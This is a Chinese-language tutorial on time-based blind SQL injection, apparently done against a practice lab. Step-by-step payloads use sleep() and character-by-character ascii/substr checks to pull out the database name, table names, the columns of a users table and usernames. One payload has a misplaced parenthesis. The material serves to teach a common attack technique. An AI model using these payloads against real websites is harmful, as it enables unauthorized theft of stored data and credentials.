第一步 判断注入点与注入类型
?id=1’ and sleep(10) %23
基于SQLI的SQL时间盲注
对比没有使用sleep()函数时的状态如下:
基于SQLI的SQL时间盲注

下面基于时间盲注进行数据库信息获取

第二步 获取数据库长度
id=1’ and if((length(database())=8),1,sleep(5)) %23
基于SQLI的SQL时间盲注
基于SQLI的SQL时间盲注
判断得数据库长度为8
第三步探测数据库其他信息
(1)判断数据库名
?id=1’ and if(ascii(substr(database(),1,1)=115,1,sleep(5))–+
数据库名的第一个字母为s(ascii为115),判断成功直接返回,判断错误的话是暂停5秒
?id=1’ and if(ascii(substr(database(),2,1))=101,1,sleep(5))–+

(2)获取表
?id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5))–+
email表的第一个字母为e(ascii为101),判断成功直接返回,判断错误的话是暂停5秒
以此类推,我们可以得到所有的数据表emails,referers,uagents,users

(3)获取列
?id=1’ and if(ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1,1))=105,1,sleep(5))–+
猜测users表的第一个列的第一个字符是i
以此类推,我们得到列名是id,username,password

(4)获取列值
?id=1’ and if(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))–+
猜测username的第一行的第一位为D
按照这种思路依次来获取全部数据库信息

相关文章:

  • 2021-11-02
  • 2021-07-07
  • 2021-11-09
  • 2021-10-23
  • 2022-12-23
  • 2021-07-28
  • 2022-12-23
  • 2021-06-10
猜你喜欢
  • 2021-12-21
  • 2021-09-08
  • 2022-12-23
  • 2021-08-18
  • 2021-08-19
  • 2021-11-05
  • 2022-12-23
相关资源
相似解决方案